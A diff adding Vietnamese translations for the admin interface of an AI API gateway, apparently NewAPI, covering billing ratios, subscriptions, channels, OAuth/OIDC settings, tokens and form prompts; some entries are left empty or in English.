+    "获取 OIDC 配置失败，请检查网络状况和 Well-Known URL 是否正确": "Lấy cấu hình OIDC thất bại, vui lòng kiểm tra trạng thái mạng và Well-Known URL có chính xác không",
+    "获取 OIDC 配置成功！": "Lấy cấu hình OIDC thành công!",
+    "获取 Ollama 版本失败": "Failed to get Ollama version",
+    "获取2FA状态失败": "Lấy trạng thái 2FA thất bại",
+    "获取中...": "Đang lấy...",
+    "获取代码": "Lấy mã",
+    "获取令牌密钥失败": "",
+    "获取充值配置失败": "Không thể lấy cấu hình nạp tiền",
+    "获取充值配置异常": "Lỗi cấu hình nạp tiền",
+    "获取初始化状态失败": "Lấy trạng thái khởi tạo thất bại",
+    "获取可用资源失败: ": "Failed to get available resources: ",
+    "获取启用模型失败": "Lấy mô hình đã bật thất bại",
+    "获取启用模型失败:": "Lấy mô hình đã bật thất bại:",
+    "获取失败": "Lấy thất bại",
+    "获取容器信息失败": "Failed to get container information",
+    "获取容器列表失败": "Failed to get container list",
+    "获取容器详情失败": "Failed to get container details",
+    "获取密钥": "Lấy khóa",
+    "获取密钥失败": "Lấy khóa thất bại",
+    "获取密钥状态失败": "Lấy trạng thái khóa thất bại",
+    "获取成功": "Lấy thành công",
+    "获取日志失败": "Failed to get logs",
+    "获取更多": "Lấy thêm",
+    "获取未配置模型失败": "Lấy mô hình chưa cấu hình thất bại",
+    "获取模型列表": "Lấy danh sách mô hình",
+    "获取模型列表失败": "Lấy danh sách mô hình thất bại",
+    "获取渠道失败：": "Lấy kênh thất bại: ",
+    "获取硬件类型失败: ": "Failed to get hardware types: ",
+    "获取签到状态失败": "Không thể lấy trạng thái đăng nhập",
+    "获取组列表失败": "Lấy danh sách nhóm thất bại",
+    "获取绑定信息失败": "Lấy thông tin liên kết thất bại",
+    "获取自定义 OAuth 提供商列表失败": "Lấy danh sách nhà cung cấp OAuth tùy chỉnh thất bại",
+    "获取详情失败": "Failed to get details",
+    "获取部署列表失败": "Failed to get deployment list",
+    "获取金额失败": "Lấy số tiền thất bại",
+    "获取验证码": "Lấy mã xác minh",
+    "获得": "Đã nhận",
+    "菜单": "Menu",
+    "蓝": "Xanh dương",
+    "蓝色": "Màu xanh dương",
+    "补全": "Hoàn thành",
+    "补全 {{completion}} tokens * 输出倍率 {{completionRatio}}": "Hoàn thành {{completion}} tokens * Tỷ lệ đầu ra {{completionRatio}}",
+    "补全 {{completion}} tokens / 1M tokens * {{symbol}}{{price}}": "Completion {{completion}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "补全价格": "Giá hoàn thành",
+    "补全价格：{{symbol}}{{price}} * {{completionRatio}} = {{symbol}}{{total}} / 1M tokens (补全倍率: {{completionRatio}})": "Giá hoàn thành: {{symbol}}{{price}} * {{completionRatio}} = {{symbol}}{{total}} / 1M tokens (Tỷ lệ hoàn thành: {{completionRatio}})",
+    "补全价格：{{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens": "Giá hoàn thành: {{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens",
+    "补全价格已锁定": "Giá hoàn thành đã bị khóa",
+    "补全倍率": "Tỷ lệ hoàn thành",
+    "补全倍率 {{completionRatio}}": "Tỷ lệ hoàn thành {{completionRatio}}",
+    "补全倍率值": "Giá trị tỷ lệ hoàn thành",
+    "补单": "Bổ sung đơn hàng",
+    "补单失败": "Bổ sung đơn hàng thất bại",
+    "补单成功": "Bổ sung đơn hàng thành công",
+    "表单引用错误，请刷新页面重试": "Lỗi tham chiếu biểu mẫu, vui lòng làm mới trang và thử lại",
+    "表格视图": "Chế độ xem bảng",
+    "被封禁": "Bị cấm",
+    "被禁用": "Bị vô hiệu hóa",
+    "覆盖": "Ghi đè",
+    "覆盖原模型": "Ghi đè mô hình gốc",
+    "覆盖模式": "Chế độ ghi đè",
+    "覆盖模式：将完全替换现有的所有密钥": "Chế độ ghi đè: sẽ thay thế hoàn toàn tất cả các khóa hiện có",
+    "覆盖模板": "Mẫu ghi đè",
+    "覆盖现有密钥": "Ghi đè khóa hiện có",
+    "规则": "Quy tắc",
+    "规则 JSON": "JSON quy tắc",
+    "规则 JSON 格式不正确": "Định dạng JSON quy tắc không chính xác",
+    "规则 ttl_seconds 为 0 时使用。0 表示使用后端默认 TTL：3600 秒。": "Sử dụng khi ttl_seconds của quy tắc là 0. 0 nghĩa là sử dụng TTL mặc định backend: 3600 giây.",
+    "规则为 JSON 数组；可视化与 JSON 模式共用同一份数据。": "Quy tắc là mảng JSON; chế độ trực quan và JSON dùng chung dữ liệu.",
+    "规则名称（可读性更好，也会出现在管理侧日志中）。": "Tên quy tắc (dễ đọc hơn, cũng hiển thị trong log quản trị).",
+    "规则导航": "Điều hướng quy tắc",
+    "规则描述（可选）": "",
+    "规则未找到，请刷新后重试": "Không tìm thấy quy tắc, vui lòng làm mới và thử lại",
+    "角色": "Vai trò",
+    "解析响应数据时发生错误": "Đã xảy ra lỗi khi phân tích dữ liệu phản hồi",
+    "解析密钥文件失败: {{msg}}": "Phân tích tệp khóa thất bại: {{msg}}",
+    "解析错误": "Lỗi phân tích",
+    "解绑": "Hủy liên kết",
+    "解绑 Passkey": "Hủy liên kết Passkey",
+    "解绑后将无法使用 Passkey 登录，确定要继续吗？": "Sau khi hủy liên kết, bạn sẽ không thể đăng nhập bằng Passkey. Bạn có chắc chắn muốn tiếp tục không?",
+    "解绑成功": "Hủy liên kết thành công",
+    "触发": "Kích hoạt",
+    "触发关键词": "Từ khóa kích hoạt",
+    "触发词": "Từ kích hoạt",
+    "计价币种": "Pricing Currency",
+    "计算中": "Calculating",
+    "计算成本": "Calculate Cost",
+    "计算费用中...": "Calculating fees...",
+    "计费": "Thanh toán",
+    "计费乘数，倍率越低费用越低。例如倍率 0.5 表示半价。": "Billing multiplier — the lower the ratio, the lower the cost. E.g., ratio 0.5 means half price.",
+    "计费开始": "Billing Start",
+    "计费摘要": "",
+    "计费方式": "Chế độ tính phí",
+    "计费显示模式": "Chế độ hiển thị tính phí",
+    "计费模式": "Billing mode",
+    "计费类型": "Loại thanh toán",
+    "计费规则": "Quy tắc thanh toán",
+    "计费过程": "Quá trình thanh toán",
+    "订单号": "Số đơn hàng",
+    "订单支付方式": "Phương thức thanh toán đơn hàng",
+    "订阅": "Đăng ký",
+    "订阅剩余": "Đăng ký còn lại",
+    "订阅套餐": "Gói đăng ký",
+    "订阅套餐管理": "Quản lý gói đăng ký",
+    "订阅实例": "Phiên bản đăng ký",
+    "订阅抵扣": "Khấu trừ gói đăng ký",
+    "订阅管理": "Quản lý đăng ký",
+    "订阅结算": "Quyết toán đăng ký",
+    "订阅说明": "Mô tả đăng ký",
+    "认证": "Xác thực",
+    "认证失败": "Xác thực thất bại",
+    "认证成功": "Xác thực thành công",
+    "认证方式": "Phương thức xác thực",
+    "认证设置": "Cài đặt xác thực",
+    "讯飞星火": "iFLYTEK Spark",
+    "记录请求与错误日志IP": "Ghi lại IP nhật ký yêu cầu và lỗi",
+    "设备": "Device",
+    "设备类型偏好": "Tùy chọn loại thiết bị",
+    "设置": "",
+    "设置 Logo": "Cài đặt Logo",
+    "设置2FA失败": "Cài đặt 2FA thất bại",
+    "设置不同充值金额对应的折扣，键为充值金额，值为折扣率，例如：{\"100\": 0.95, \"200\": 0.9, \"500\": 0.85}": "Đặt giảm giá tương ứng với các số tiền nạp khác nhau, khóa là số tiền nạp, giá trị là tỷ lệ giảm giá, ví dụ: {\"100\": 0.95, \"200\": 0.9, \"500\": 0.85}",
+    "设置两步验证": "Cài đặt xác thực hai yếu tố",
+    "设置令牌可用额度和数量": "Cài đặt hạn ngạch và số lượng mã thông báo khả dụng",
+    "设置令牌的基本信息": "Cài đặt thông tin cơ bản của mã thông báo",
+    "设置令牌的访问限制": "Cài đặt giới hạn truy cập của mã thông báo",
+    "设置保存失败": "Lưu cài đặt thất bại",
+    "设置保存成功": "Lưu cài đặt thành công",
+    "设置兑换码的基本信息": "Cài đặt thông tin cơ bản của mã đổi thưởng",
+    "设置兑换码的额度和数量": "Cài đặt hạn ngạch và số lượng mã đổi thưởng",
+    "设置公告": "Cài đặt thông báo",
+    "设置关于": "Cài đặt giới thiệu",
+    "设置已保存": "Cài đặt đã được lưu",
+    "设置模型的基本信息": "Cài đặt thông tin cơ bản của mô hình",
+    "设置用于接收额度预警的邮箱地址，不填则使用账号绑定的邮箱": "Đặt địa chỉ email để nhận cảnh báo hạn ngạch, nếu để trống sẽ sử dụng email liên kết với tài khoản",
+    "设置用户协议": "Cài đặt thỏa thuận người dùng",
+    "设置用户可选择的充值数量选项，例如：[10, 20, 50, 100, 200, 500]": "Đặt các tùy chọn số lượng nạp tiền mà người dùng có thể chọn, ví dụ: [10, 20, 50, 100, 200, 500]",
+    "设置管理员登录信息": "Cài đặt thông tin đăng nhập quản trị viên",
+    "设置类型": "Loại cài đặt",
+    "设置系统名称": "Cài đặt tên hệ thống",
+    "设置过短会影响数据库性能": "Cài đặt quá ngắn sẽ ảnh hưởng đến hiệu suất cơ sở dữ liệu",
+    "设置隐私政策": "Cài đặt chính sách bảo mật",
+    "设置页脚": "Cài đặt chân trang",
+    "设置预填组的基本信息": "Cài đặt thông tin cơ bản của nhóm điền sẵn",
+    "设置首页内容": "Cài đặt nội dung trang chủ",
+    "设置默认地区和特定模型的专用地区": "Đặt khu vực mặc định và khu vực dành riêng cho các mô hình cụ thể",
+    "设计与开发由": "Thiết kế và phát triển bởi",
+    "设计版本": "b80c3466cb6feafeb3990c7820e10e50",
+    "设请求头": "",
+    "访问 io.net 控制台的 API Keys 页面": "Visit the API Keys page of the io.net console",
+    "访问容器": "Access Container",
+    "访问模型部署功能需要先启用 io.net 部署服务": "Accessing model deployment features requires enabling the io.net deployment service first",
+    "访问限制": "Giới hạn truy cập",
+    "评价": "Đánh giá",
+    "评论": "Bình luận",
+    "试用": "Dùng thử",
+    "该供应商提供多种AI模型，适用于不同的应用场景。": "Nhà cung cấp này cung cấp nhiều mô hình AI, phù hợp với các kịch bản ứng dụng khác nhau.",
+    "该分类下没有可用模型": "Không có mô hình khả dụng trong danh mục này",
+    "该域名已存在于白名单中": "Tên miền đã tồn tại trong danh sách trắng",
+    "该套餐未配置 Creem": "Gói này chưa cấu hình Creem",
+    "该套餐未配置 Stripe": "Gói này chưa cấu hình Stripe",
+    "该数据可能不可信，请谨慎使用": "Dữ liệu này có thể không đáng tin cậy, vui lòng sử dụng thận trọng",
+    "该服务器地址将影响支付回调地址以及默认首页展示的地址，请确保正确配置": "Địa chỉ máy chủ này sẽ ảnh hưởng đến địa chỉ gọi lại thanh toán và địa chỉ hiển thị trang chủ mặc định, vui lòng đảm bảo cấu hình chính xác",
+    "该模型存在固定价格与倍率计费方式冲突，请确认选择": "Mô hình này có xung đột giữa giá cố định và phương thức tính phí theo tỷ lệ, vui lòng xác nhận lựa chọn",
+    "该模型补全倍率由后端固定为 {{ratio}}。补全价格不能在这里修改。": "Tỷ lệ hoàn thành của mô hình này được backend cố định ở {{ratio}}. Không thể chỉnh giá hoàn thành tại đây.",
+    "该渠道已开启请求透传，参数覆写、模型重定向等 NewAPI 内置功能将失效，非最佳实践。": "Kênh này đã bật truyền qua yêu cầu; các tính năng tích hợp của NewAPI như ghi đè tham số và chuyển hướng mô hình sẽ bị vô hiệu hóa. Đây không phải là thực hành tốt nhất.",
+    "该渠道已开启请求透传：参数覆写、模型重定向、渠道适配等 NewAPI 内置功能将失效，非最佳实践；如因此产生问题，请勿提交 issue 反馈。": "Kênh này đã bật truyền qua yêu cầu. Các tính năng tích hợp của NewAPI như ghi đè tham số, chuyển hướng mô hình và thích ứng kênh sẽ bị vô hiệu hóa. Đây không phải là thực hành tốt nhất. Nếu phát sinh vấn đề, vui lòng không gửi issue.",
+    "该渠道暂无可处理的上游模型更新": "",
+    "该渠道未开启上游模型更新检测": "",
+    "该规则未启用“作用域：包含规则名称”，无法按规则清空缓存。": "Quy tắc này chưa bật \"Phạm vi: Bao gồm tên quy tắc\", không thể xóa bộ nhớ đệm theo quy tắc.",
+    "该规则未设置参数覆盖模板": "Quy tắc này chưa thiết lập mẫu ghi đè tham số",
+    "该规则的缓存保留时长；0 表示使用默认 TTL：": "Thời gian lưu bộ nhớ đệm cho quy tắc này; 0 nghĩa là sử dụng TTL mặc định: ",
+    "该记录不包含可用的 token 统计口径。": "Bản ghi này không chứa thống kê token khả dụng.",
+    "该记录由旧版本实例写入，缺少审计信息，建议将实例升级至最新版本以便记录服务器IP、回调IP、支付方式与系统版本等审计字段。": "Bản ghi này được ghi bởi phiên bản cũ của instance và thiếu thông tin kiểm toán. Khuyến nghị nâng cấp instance lên phiên bản mới nhất để ghi lại các trường kiểm toán như IP máy chủ, IP callback, phương thức thanh toán và phiên bản hệ thống.",
+    "详情": "Chi tiết",
+    "详细信息": "Thông tin chi tiết",
+    "详见「特殊倍率」和「可用分组」标签页。": "See \"Special Ratios\" and \"Usable Groups\" tabs for details.",
+    "语言": "Ngôn ngữ",
+    "语言偏好": "Tùy chọn ngôn ngữ",
+    "语言偏好已保存": "Tùy chọn ngôn ngữ đã được lưu",
+    "语言模型": "Mô hình ngôn ngữ",
+    "语言设置": "Cài đặt ngôn ngữ",
+    "语音输入": "Đầu vào giọng nói",
+    "语音输出": "Đầu ra giọng nói",
+    "说明": "Mô tả",
+    "说明：": "Mô tả: ",
+    "说明：本页测试为非流式请求；若渠道仅支持流式返回，可能出现测试失败，请以实际使用为准。": "Lưu ý: Bài kiểm tra trên trang này sử dụng yêu cầu không streaming. Nếu kênh chỉ hỗ trợ phản hồi streaming, bài kiểm tra có thể thất bại. Vui lòng dựa vào sử dụng thực tế.",
+    "说明：生成结果是可直接粘贴到渠道密钥里的 JSON（包含 access_token / refresh_token / account_id）。": "Lưu ý: Kết quả tạo ra là JSON có thể dán trực tiếp vào khóa kênh (bao gồm access_token / refresh_token / account_id).",
+    "说明信息": "Thông tin mô tả",
+    "请上传": "Vui lòng tải lên",
+    "请上传图片": "Vui lòng tải lên hình ảnh",
+    "请上传密钥文件": "Vui lòng tải lên tệp khóa",
+    "请上传密钥文件！": "Vui lòng tải lên tệp khóa!",
+    "请上传文件": "Vui lòng tải lên tệp",
+    "请为渠道命名": "Vui lòng đặt tên cho kênh",
+    "请使用 Project 为 io.cloud 的密钥": "Please use a key with Project set to io.cloud",
+    "请先勾选需要批量设置的模型": "Vui lòng chọn các mô hình cần thiết lập hàng loạt trước",
+    "请先在设置中启用图片功能": "Vui lòng bật chức năng hình ảnh trong cài đặt trước",
+    "请先填写 API Key": "Please fill in API Key first",
+    "请先填写 Discovery URL 或 Issuer URL": "Vui lòng điền Discovery URL hoặc Issuer URL trước",
+    "请先填写 Issuer URL，以自动生成完整的端点 URL": "Vui lòng điền Issuer URL trước để tự động tạo URL endpoint đầy đủ",
+    "请先填写 Ollama API 地址": "Please fill in Ollama API address first",
+    "请先填写服务器地址": "Vui lòng điền địa chỉ máy chủ trước",
+    "请先开启并填写音频输入价格。": "Hãy bật và điền giá đầu vào âm thanh trước.",
+    "请先新增模型或从左侧列表选择一个模型": "",
+    "请先登录": "Vui lòng đăng nhập trước",
+    "请先登录！": "Vui lòng đăng nhập trước!",
+    "请先粘贴回调 URL": "Vui lòng dán URL callback trước",
+    "请先输入密钥": "Vui lòng nhập khóa trước",
+    "请先选择一个作为模板的模型": "Vui lòng chọn trước một mô hình làm mẫu",
+    "请先选择一条规则": "Vui lòng chọn một quy tắc trước",
+    "请先选择同步渠道": "Vui lòng chọn kênh đồng bộ trước",
+    "请先选择模型！": "Vui lòng chọn mô hình trước!",
+    "请先选择硬件类型": "Please select hardware type first",
+    "请先选择要删除的令牌！": "Vui lòng chọn mã thông báo để xóa trước!",
+    "请先选择要删除的通道！": "Vui lòng chọn kênh để xóa trước!",
+    "请先选择要设置标签的渠道！": "Vui lòng chọn kênh để đặt thẻ trước!",
+    "请先选择需要批量设置的模型": "Vui lòng chọn các mô hình cần cài đặt hàng loạt trước",
+    "请先阅读并同意用户协议": "Vui lòng đọc và đồng ý với thỏa thuận người dùng trước",
+    "请先阅读并同意用户协议和隐私政策": "Vui lòng đọc và đồng ý với thỏa thuận người dùng và chính sách bảo mật trước",
+    "请再次输入密码": "Vui lòng nhập lại mật khẩu",
+    "请再次输入新密码": "Vui lòng nhập lại mật khẩu mới",
+    "请前往个人设置 → 安全设置进行配置。": "Vui lòng truy cập Cài đặt cá nhân → Cài đặt bảo mật để cấu hình.",
+    "请务必保存好您的密码，否则将无法找回": "Vui lòng đảm bảo lưu mật khẩu của bạn, nếu không bạn sẽ không thể khôi phục nó",
+    "请勿过度信任此功能，IP可能被伪造，请配合nginx和cdn等网关使用": "Đừng quá tin tưởng tính năng này, IP có thể bị giả mạo, vui lòng sử dụng cùng với nginx và các cổng khác như cdn",
+    "请勿重复提交": "Vui lòng không gửi lại",
+    "请在 Waffo 后台获取 API 密钥、商户 ID 以及 RSA 密钥对，并配置回调地址。": "",
+    "请在系统设置页面编辑分组倍率以添加新的分组：": "Vui lòng chỉnh sửa tỷ lệ nhóm trên trang cài đặt hệ thống để thêm nhóm mới:",
+    "请填写": "Vui lòng điền",
+    "请填写完整的产品信息": "Vui lòng điền đầy đủ thông tin sản phẩm",
+    "请填写完整的管理员账号信息": "Vui lòng điền đầy đủ thông tin tài khoản quản trị viên",
+    "请填写密钥": "Vui lòng điền khóa",
+    "请填写正确的邮箱地址": "Vui lòng điền địa chỉ email chính xác",
+    "请填写渠道名称和渠道密钥！": "Vui lòng điền tên kênh và khóa kênh!",
+    "请填写邮箱地址": "Vui lòng điền địa chỉ email",
+    "请填写部署地区": "Vui lòng điền khu vực triển khai",
+    "请填写验证码": "Vui lòng điền mã xác minh",
+    "请妥善保存": "Vui lòng giữ nó an toàn",
+    "请妥善保存您的密钥，一旦丢失将无法找回": "Vui lòng giữ khóa của bạn an toàn, một khi bị mất sẽ không thể khôi phục",
+    "请妥善保管好您的密码，请勿告诉他人": "Vui lòng giữ mật khẩu của bạn an toàn và không nói cho người khác biết",
+    "请妥善保管密钥信息，不要泄露给他人。如有安全疑虑，请及时更换密钥。": "Vui lòng bảo quản thông tin khóa cẩn thận, không tiết lộ cho người khác. Nếu có lo ngại về bảo mật, vui lòng thay đổi khóa kịp thời.",
+    "请将此链接发送给用户，用户打开链接后即可进行充值": "Vui lòng gửi liên kết này cho người dùng, người dùng có thể nạp tiền sau khi mở liên kết",
+    "请尝试其他搜索关键词": "Please try other search keywords",
+    "请检查渠道配置或刷新重试": "Vui lòng kiểm tra cấu hình kênh hoặc làm mới và thử lại",
+    "请检查表单填写是否正确": "Vui lòng kiểm tra xem biểu mẫu có được điền chính xác không",
+    "请检查输入": "Vui lòng kiểm tra đầu vào",
+    "请求": "Yêu cầu",
+    "请求 ID": "ID yêu cầu",
+    "请求 URL": "URL yêu cầu",
+    "请求体": "Thân yêu cầu",
+    "请求体 JSON": "Nội dung yêu cầu JSON",
+    "请求体内存缓存": "Bộ nhớ đệm body yêu cầu",
+    "请求体磁盘缓存": "Bộ nhớ đệm đĩa body yêu cầu",
+    "请求体超过此大小时使用磁盘缓存": "Sử dụng bộ nhớ đệm đĩa khi body yêu cầu vượt kích thước này",
+    "请求内容": "Nội dung yêu cầu",
+    "请求列表": "Danh sách yêu cầu",
+    "请求参数": "Tham số yêu cầu",
+    "请求参数无效": "Invalid request parameters",
+    "请求发生错误": "Đã xảy ra lỗi yêu cầu",
+    "请求发生错误: ": "Đã xảy ra lỗi yêu cầu: ",
+    "请求后端接口失败：": "Yêu cầu giao diện phụ trợ thất bại: ",
+    "请求失败": "Yêu cầu thất bại",
+    "请求失败，请重试": "Yêu cầu thất bại, vui lòng thử lại",
+    "请求头": "Tiêu đề yêu cầu",
+    "请求头覆盖": "Ghi đè tiêu đề yêu cầu",
+    "请求并计费模型": "Mô hình yêu cầu và tính phí",
+    "请求成功": "Yêu cầu thành công",
+    "请求成功！": "Yêu cầu thành công!",
+    "请求时长: ${time}s": "Thời gian yêu cầu: ${time}s",
+    "请求时间": "Thời gian yêu cầu",
+    "请求模式": "Chế độ yêu cầu",
+    "请求次数": "Số lần yêu cầu",
+    "请求状态": "Trạng thái yêu cầu",
+    "请求结束后多退少补": "Hoàn trả hoặc bổ sung sau khi yêu cầu kết thúc",
+    "请求详情": "Chi tiết yêu cầu",
+    "请求超时": "Yêu cầu hết thời gian",
+    "请求超时，请刷新页面后重新发起 GitHub 登录": "Hết thời gian chờ, vui lòng làm mới trang và đăng nhập GitHub lại",
+    "请求路径": "Đường dẫn yêu cầu",
+    "请求转换": "Chuyển đổi yêu cầu",
+    "请求配置": "Cấu hình yêu cầu",
+    "请求量": "Khối lượng yêu cầu",
+    "请求预扣费额度": "Hạn ngạch khấu trừ trước yêu cầu",
+    "请求频率": "Tần suất yêu cầu",
+    "请求频率限制": "Giới hạn tần suất yêu cầu",
+    "请点击我": "Vui lòng nhấp vào tôi",
+    "请确认": "Vui lòng xác nhận",
+    "请确认以下设置信息，点击\"初始化系统\"开始配置": "Vui lòng xác nhận thông tin cài đặt sau, nhấp vào \"Khởi tạo hệ thống\" để bắt đầu cấu hình",
+    "请确认您已了解禁用两步验证的后果": "Vui lòng xác nhận rằng bạn hiểu hậu quả của việc vô hiệu hóa xác thực hai yếu tố",
+    "请确认是否删除": "Vui lòng xác nhận xóa",
+    "请确认是否重置": "Vui lòng xác nhận đặt lại",
+    "请确认管理员密码": "Vui lòng xác nhận mật khẩu quản trị viên",
+    "请稍候...": "Vui lòng đợi...",
+    "请稍后几秒重试，Turnstile 正在检查用户环境！": "Vui lòng thử lại sau vài giây, Turnstile đang kiểm tra môi trường người dùng!",
+    "请粘贴完整回调 URL（包含 code 与 state）": "Vui lòng dán URL callback đầy đủ (bao gồm code và state)",
+    "请联系管理员在系统设置中配置API信息": "Vui lòng liên hệ quản trị viên để cấu hình thông tin API trong cài đặt hệ thống",
+    "请联系管理员在系统设置中配置Uptime": "Vui lòng liên hệ quản trị viên để cấu hình Uptime trong cài đặt hệ thống",
+    "请联系管理员在系统设置中配置公告信息": "Vui lòng liên hệ quản trị viên để cấu hình thông tin thông báo trong cài đặt hệ thống",
+    "请联系管理员在系统设置中配置常见问答": "Vui lòng liên hệ quản trị viên để cấu hình câu hỏi thường gặp trong cài đặt hệ thống",
+    "请联系管理员配置聊天链接": "Vui lòng liên hệ quản trị viên để cấu hình liên kết trò chuyện",
+    "请至少选择一个令牌！": "Vui lòng chọn ít nhất một mã thông báo!",
+    "请至少选择一个兑换码！": "Vui lòng chọn ít nhất một mã đổi thưởng!",
+    "请至少选择一个模型": "Vui lòng chọn ít nhất một mô hình",
+    "请至少选择一个模型！": "Vui lòng chọn ít nhất một mô hình!",
+    "请至少选择一个渠道": "Vui lòng chọn ít nhất một kênh",
+    "请输入": "Vui lòng nhập",
+    "请输入 API Key，一行一个，格式：APIKey|Region": "Enter API Key, one per line, format: APIKey|Region",
+    "请输入 API Key，格式：APIKey|Region": "Enter API Key, format: APIKey|Region",
+    "请输入 Authorization Endpoint": "Vui lòng nhập Authorization Endpoint",
+    "请输入 AZURE_OPENAI_ENDPOINT，例如：https://docs-test-001.openai.azure.com": "Vui lòng nhập AZURE_OPENAI_ENDPOINT, ví dụ: https://docs-test-001.openai.azure.com",
+    "请输入 Client ID": "Vui lòng nhập Client ID",
+    "请输入 Client Secret": "Vui lòng nhập Client Secret",
+    "请输入 ID": "Vui lòng nhập ID",
+    "请输入 io.net API Key": "Please enter io.net API Key",
+    "请输入 io.net API Key（敏感信息不显示）": "Please enter io.net API Key (sensitive information not displayed)",
+    "请输入 JSON 格式的 OAuth 凭据，例如：\n{\n  \"access_token\": \"...\",\n  \"account_id\": \"...\" \n}": "Vui lòng nhập thông tin OAuth dạng JSON, VD:\n{\n  \"access_token\": \"...\",\n  \"account_id\": \"...\" \n}",
+    "请输入 JSON 格式的密钥内容，例如：\n{\n  \"type\": \"service_account\",\n  \"project_id\": \"your-project-id\",\n  \"private_key_id\": \"...\",\n  \"private_key\": \"...\",\n  \"client_email\": \"...\",\n  \"client_id\": \"...\",\n  \"auth_uri\": \"...\",\n  \"token_uri\": \"...\",\n  \"auth_provider_x509_cert_url\": \"...\",\n  \"client_x509_cert_url\": \"...\"\n}": "Vui lòng nhập nội dung khóa ở định dạng JSON, ví dụ:\n{\n  \"type\": \"service_account\",\n  \"project_id\": \"your-project-id\",\n  \"private_key_id\": \"...\",\n  \"private_key\": \"...\",\n  \"client_email\": \"...\",\n  \"client_id\": \"...\",\n  \"auth_uri\": \"...\",\n  \"token_uri\": \"...\",\n  \"auth_provider_x509_cert_url\": \"...\",\n  \"client_x509_cert_url\": \"...\"\n}",
+    "请输入 OIDC 的 Well-Known URL": "Vui lòng nhập Well-Known URL của OIDC",
+    "请输入 Slug": "Vui lòng nhập Slug",
+    "请输入 Token Endpoint": "Vui lòng nhập Token Endpoint",
+    "请输入 URL": "Vui lòng nhập URL",
+    "请输入 User Info Endpoint": "Vui lòng nhập User Info Endpoint",
+    "请输入6位验证码或8位备用码": "Vui lòng nhập mã xác minh 6 chữ số hoặc mã dự phòng 8 chữ số",
+    "请输入API地址": "Vui lòng nhập địa chỉ API",
+    "请输入API地址！": "Vui lòng nhập địa chỉ API!",
+    "请输入Bark推送URL": "Vui lòng nhập URL đẩy Bark",
+    "请输入Bark推送URL，例如: https://api.day.app/yourkey/{{title}}/{{content}}": "Vui lòng nhập URL đẩy Bark, ví dụ: https://api.day.app/yourkey/{{title}}/{{content}}",
+    "请输入Gotify应用令牌": "Vui lòng nhập mã thông báo ứng dụng Gotify",
+    "请输入Gotify服务器地址": "Vui lòng nhập địa chỉ máy chủ Gotify",
+    "请输入Gotify服务器地址，例如: https://gotify.example.com": "Vui lòng nhập địa chỉ máy chủ Gotify, ví dụ: https://gotify.example.com",
+    "请输入JSON数组，如 [\"model-a\",\"model-b\"]": "Vui lòng nhập mảng JSON, ví dụ [\"model-a\",\"model-b\"]",
+    "请输入Uptime Kuma地址": "Vui lòng nhập địa chỉ Uptime Kuma",
+    "请输入Uptime Kuma服务地址，如：https://status.example.com": "Vui lòng nhập địa chỉ dịch vụ Uptime Kuma, như: https://status.example.com",
+    "请输入URL链接": "Vui lòng nhập liên kết URL",
+    "请输入Webhook地址": "Vui lòng nhập địa chỉ Webhook",
+    "请输入Webhook地址，例如: https://example.com/webhook": "Vui lòng nhập địa chỉ Webhook, ví dụ: https://example.com/webhook",
+    "请输入个人简介": "Vui lòng nhập tiểu sử",
+    "请输入你的账户名以确认删除！": "Vui lòng nhập tên tài khoản của bạn để xác nhận xóa!",
+    "请输入供应商名称": "Vui lòng nhập tên nhà cung cấp",
+    "请输入供应商名称，如：OpenAI": "Vui lòng nhập tên nhà cung cấp, như: OpenAI",
+    "请输入供应商描述": "Vui lòng nhập mô tả nhà cung cấp",
+    "请输入充值金额": "Vui lòng nhập số tiền nạp",
+    "请输入兑换码": "Vui lòng nhập mã đổi thưởng",
+    "请输入兑换码！": "Vui lòng nhập mã đổi thưởng!",
+    "请输入公告内容": "Vui lòng nhập nội dung thông báo",
+    "请输入公告内容（支持 Markdown/HTML）": "Vui lòng nhập nội dung thông báo (hỗ trợ Markdown/HTML)",
+    "请输入公告标题": "Vui lòng nhập tiêu đề thông báo",
+    "请输入关键字": "Vui lòng nhập từ khóa",
+    "请输入关键字搜索": "Vui lòng nhập từ khóa để tìm kiếm",
+    "请输入分类名称": "Vui lòng nhập tên danh mục",
+    "请输入分类名称，如：OpenAI、Claude等": "Vui lòng nhập tên danh mục, như: OpenAI, Claude, v.v.",
+    "请输入分组名称": "Vui lòng nhập tên nhóm",
+    "请输入到 /suno 前的路径，通常就是域名，例如：https://api.example.com": "Vui lòng nhập đường dẫn trước /suno, thường là tên miền, ví dụ: https://api.example.com",
+    "请输入副本数量": "Please enter number of replicas",
+    "请输入原密码": "Vui lòng nhập mật khẩu cũ",
+    "请输入原密码！": "Vui lòng nhập mật khẩu cũ!",
+    "请输入名称": "Vui lòng nhập tên",
+    "请输入回答内容": "Vui lòng nhập nội dung câu trả lời",
+    "请输入回答内容（支持 Markdown/HTML）": "Vui lòng nhập nội dung câu trả lời (hỗ trợ Markdown/HTML)",
+    "请输入图标名称": "Vui lòng nhập tên biểu tượng",
+    "请输入地址": "Vui lòng nhập địa chỉ",
+    "请输入域名": "Vui lòng nhập tên miền",
+    "请输入填充值": "Vui lòng nhập giá trị điền",
+    "请输入备注（仅管理员可见）": "Vui lòng nhập ghi chú (chỉ quản trị viên mới thấy)",
+    "请输入套餐标题": "Vui lòng nhập tiêu đề gói",
+    "请输入完整的 JSON 格式密钥内容": "Vui lòng nhập nội dung khóa định dạng JSON đầy đủ",
+    "请输入完整的URL，例如：https://api.openai.com/v1/chat/completions": "Vui lòng nhập URL đầy đủ, ví dụ: https://api.openai.com/v1/chat/completions",
+    "请输入完整的URL链接": "Vui lòng nhập liên kết URL đầy đủ",
+    "请输入容器名称": "Please enter container name",
+    "请输入密码": "Vui lòng nhập mật khẩu",
+    "请输入密钥": "Vui lòng nhập khóa",
+    "请输入密钥，一行一个": "Vui lòng nhập khóa, mỗi dòng một cái",
+    "请输入密钥，一行一个，格式：AccessKey|SecretAccessKey|Region": "Enter keys one per line, format: AccessKey|SecretAccessKey|Region",
+    "请输入密钥！": "Vui lòng nhập khóa!",
+    "请输入延长时长": "Please enter extension duration",
+    "请输入总额度": "Vui lòng nhập tổng hạn mức",
+    "请输入您的密码": "Vui lòng nhập mật khẩu của bạn",
+    "请输入您的用户名以确认删除": "Vui lòng nhập tên người dùng của bạn để xác nhận xóa",
+    "请输入您的用户名或邮箱地址": "Vui lòng nhập tên người dùng hoặc địa chỉ email của bạn",
